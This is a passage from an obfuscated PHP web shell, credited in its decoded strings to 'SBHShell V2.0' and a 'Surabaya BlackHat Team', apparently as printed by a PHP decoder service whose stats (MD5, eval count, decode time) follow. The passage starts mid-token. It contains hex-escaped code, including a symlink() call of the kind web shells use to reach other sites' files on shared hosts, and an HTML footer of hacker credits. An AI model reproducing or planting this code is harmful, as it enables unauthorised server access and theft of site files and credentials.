\x4fB\x41\x4c\x53"}["l\x73\x71t\x78a\x6e"]};symlink(${${"GLOBA\x4c\x53"}["\x79\x76p\x71d\x68"]},${${"G\x4c\x4fBALS"}["\x69ec\x65n\x65"]});}}}echo"\x3c\x68r\x20\x63\x6f\x6co\x72\x3d\x22red\">\n\x3c/htm\x6c\x3e\n";echo "\x3cta\x62\x6c\x65\x20wid\x74h\x3d\x350\x25 al\x69g\x6e=c\x65\x6e\x74\x65\x72\x20st\x79\x6ce\x3d'b\x6frder:1px\x20\x67r\x65en\x20s\x6fl\x69\x64\x27\x3e \x20\x20\x20\x3c\x74r\x3e\x3ct\x64 a\x6c\x69gn\x3d\x63e\x6e\x74e\x72>\x3cf\x6f\x6et\x20fa\x63e=Ta\x68o\x6d\x61\x20\x73\x69ze\x3d\x32 \x63\x6flo\x72=r\x65d> \x20 <\x62>\x53B\x48\x53\x68\x65l\x6c_\x562\x2e\x30 \x52ecod\x65d by MeN\x69\x6e\x42\x6fX\x20</\x62\x3e\x3c\x62r/ >\x3cb\x3eTh\x61nk\x73 to\x3c/span></b> \x4dy\x20\x4b\x65\x79board, \x53\x42\x48 \x43r\x65\x77\x20\x26\x20\x41\x6cl\x20My\x20\x46\x72\x69\x65\x6eds<\x62\x72/\x20\x3e\x20\x53pe\x63i\x61\x6c\x20\x67r\x65ats to\x20<\x62>\x47abby\x3c/\x62>\x20t\x68\x61n\x6bs\x20f\x6f\x72\x20\x79\x6fu\x72\x20h\x65lp<br/ >\x53\x75rab\x61\x79\x61B\x6c\x61\x63k\x48at \x54\x65\x61m</\x66\x6fnt></\x74d></\x74\x72\x3e</\x74\x61\x62\x6ce> \x20\x20\n\x3c\x74\x61b\x6ce \x77\x69dt\x68=\x350\x25 al\x69\x67n=\x63\x65nte\x72\x20\x73t\x79\x6ce\x3d\x27bo\x72\x64er:1\x70\x78\x20gr\x65\x65n \x73\x6flid'\x3e <\x74\x72\x3e<t\x64 alig\x6e=c\x65n\x74\x65r>\x20\x3cdiv \x61\x6c\x69\x67n='c\x65\x6e\x74\x65\x72'\x20s\x74yle='\x62\x61ckg\x72o\x75\x6e\x64-\x63\x6fl\x6f\x72: \x230\x30\x38\x300\x30\x27><f\x6fnt\x20c\x6f\x6cor\x3d\x27#FF\x46\x46\x46\x46\x27\x3e\x4c\x65a\x72n \x54\x6f \x42e B\x65t\x74\x65\x72</fo\x6et>\x3c/di\x76><\x64\x69v\x20a\x6ci\x67\x6e\x3d\x27\x63\x65nt\x65r\x27\x20st\x79le\x3d\x27ba\x63\x6b\x67\x72\x6fu\x6e\x64-c\x6f\x6cor: #0\x308000'\x3e\x3c\x66\x6f\x6e\x74\x20color='#\x46FF\x46FF'>\"Su\x72a\x62a\x79\x61 Black\x48a\x74\"\x3c/f\x6fn\x74></\x64i\x76></\x74\x64\x3e</tr></\x74\x61\x62\x6c\x65>\n \x20\x20\n\t\t</\x64\x69v\x3e\x20\n\t</bo\x64\x79\x3e \n\x3c/\x68t\x6dl\x3e\n";
?>
Function Calls
None |
Stats
MD5 | f4c8c67a174e28b7647e9e7cfb2d98e0 |
Eval Count | 0 |
Decode Time | 169 ms |